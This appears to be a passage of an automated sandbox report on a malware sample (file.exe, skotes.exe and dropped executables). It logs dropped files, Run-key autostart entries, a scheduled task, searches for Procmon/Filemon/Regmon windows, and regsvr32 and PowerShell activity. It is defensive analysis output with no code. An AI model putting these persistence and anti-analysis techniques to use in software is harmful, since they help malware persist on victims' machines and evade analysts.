Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	File created: C:\Users\user\AppData\Roaming\PoisedCoyote.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	File created: C:\Users\user\AppData\Local\Temp\is-DTH22.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	File created: C:\Users\user\AppData\Local\is-HBCT4.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	File created: C:\Users\user\AppData\Local\Temp\is-46S6P.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	File created: C:\Users\user\AppData\Local\Temp\is-46S6P.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe	File created: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	File created: C:\Users\user\AppData\Local\Temp\is-DTH22.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	File created: C:\Users\user\AppData\Local\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1d003e9e16.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 46bc483599.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 813d0f4405.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 41266a11cd.exe	Jump to behavior

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 41266a11cd.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 41266a11cd.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 813d0f4405.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 813d0f4405.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1d003e9e16.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1d003e9e16.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 46bc483599.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 46bc483599.exe	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_003CF98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		23_2_003CF98E
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_00441C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		23_2_00441C41

Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
